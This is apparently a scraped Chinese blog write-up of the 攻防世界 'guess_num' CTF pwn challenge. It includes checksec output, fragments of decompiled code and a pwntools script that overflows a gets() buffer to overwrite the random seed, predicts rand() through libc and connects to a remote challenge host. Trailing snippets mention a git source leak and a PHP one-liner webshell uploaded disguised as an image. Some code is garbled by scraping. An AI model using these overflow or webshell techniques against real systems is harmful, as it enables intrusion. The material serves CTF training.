攻防世界 guess num

2022-07-22 09:18:08 字數 1837 閱讀 9953

checksec guess_num

arch: amd64-64-little

relro: partial relro

stack: canary found

nx: nx enabled

pie: pie enabled

用ida64開啟,找到main函式,f5反編譯,可以分析得出其基本邏輯為:首先從輸入gets乙個姓名,然後用種子初始化隨機數發生器,對生成的隨機數進行處理,然後輸入乙個整數,將隨機數處理後的值與輸入數值進行比較,如果10輪比較都相同則成功,隨即呼叫sub_c3e()。該函式會cat flag。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)

puts("success!");

} sub_c3e();

return 0ll;

}

__int64 sub_c3e()

檢視v7所在棧,發現v7的範圍

因此,只要棧溢位,將我們指定的值覆蓋到seed的部分,然後借助ctypes呼叫linux中c標準動態庫libc.so.6,就可以按我們從ida中直**到的反編譯後的**的相同結構,編寫隨機數發生器的初始化和產生隨機數的過程。

4. 通過ldd guess_num檢視標準庫

linux-vdso.so.1 (0x00007ffef535e000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd902bba000)

/lib64/ld-linux-x86-64.so.2 (0x00007fd9031ad000)

所以參考python使用ctypes與c/c++ dll檔案通訊過程介紹及例項分析匯入對應的c標準動態庫即可。

from ctypes import *

libc = cdll.loadlibrary('/lib/x86_64-linux-gnu/libc.so.6')

具體求解過程如下:

from pwn import *

from ctypes import *

io = remote('220.249.52.133', 51872)

# 匯入對應c標準動態庫

libc = cdll.loadlibrary("/lib/x86_64-linux-gnu/libc.so.6")

# gets到的v7需要先填滿0x30到0x11之間,也即0x20位元組,然後才會覆蓋seed的部分,因此先放0x20個a再往seed放入1

payload = "a" * 0x20 + p64(1)

io.sendline(payload)

# 用我們存入的seed值對隨機數發生器進行初始化,操作方法同ida反編譯後的main函式

libc.srand(1)

for i in range(10):

num = str(libc.rand()%6+1)

io.sendline(num)

io.interactive()

cyberpeace

參考:wzsec's w

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界Web lottery

開心!雖然第一次遇到git原始碼洩露寫了好久,但是寫出來了就很開心 開啟介面我們知道,要拿到flag,就要贏到足夠的錢,其實一開始我以為可以找到乙個地方直接修改餘額什麼的,把網頁源 中的檔案看了幾個都沒發現突破口 然後又沒思路了 嘗試了一下robots.txt,想看看有沒有什麼檔案,然後發現了 瞬間...

攻防世界 xctf Guess writeup

本題的解析官網上有,這裡是乙個自動化的指令碼,完成的是自動上傳乙個ant.jpg的檔案 ant.jpg是乙個ant.zip壓縮包重新命名的檔案,裡面是乙個ant.php的一句話木馬 執行返回的是在web後台這個檔案重新命名後的檔案的url。可通過zip偽協議訪問這個木馬。指令碼如下 import r...